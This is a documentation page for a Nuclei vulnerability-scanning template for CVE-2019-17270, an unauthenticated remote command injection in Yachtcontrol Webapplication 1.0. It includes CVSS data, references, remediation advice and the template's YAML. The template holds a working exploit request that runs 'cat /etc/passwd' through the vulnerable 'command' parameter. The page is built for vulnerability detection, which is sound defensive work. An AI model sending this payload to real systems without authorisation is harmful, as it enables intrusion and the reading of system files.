Yachtcontrol Webapplication 1.0 - Remote Command Injection
ID: CVE-2019-17270
Severity: critical
Author: pikpikcu
Tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm
Description
Section titled “Description”Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the “/pages/systemcall.php?command={COMMAND}” page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco’s.
YAML Source
Section titled “YAML Source”id: CVE-2019-17270
info: name: Yachtcontrol Webapplication 1.0 - Remote Command Injection author: pikpikcu severity: critical description: | Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability. reference: - https://www.exploit-db.com/exploits/47760 - https://nvd.nist.gov/vuln/detail/CVE-2019-17270 - http://packetstormsecurity.com/files/155582/Yachtcontrol-2019-10-06-Remote-Code-Execution.html - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/Elsfa7-110/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-17270 cwe-id: CWE-78 epss-score: 0.93892 epss-percentile: 0.99085 cpe: cpe:2.3:a:yachtcontrol:yachtcontrol:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: yachtcontrol product: yachtcontrol tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm
http: - method: GET path: - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" condition: and
- type: status status: - 200# digest: 490a0046304402205bfa0dc1249a3de476c6aa77885385e0cb1da130667884dce13a2deadfe51a2702200321a1b310a784d993afbf46342727409c76604eb459f3601d5b45a0d1db2a06:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17270.yaml"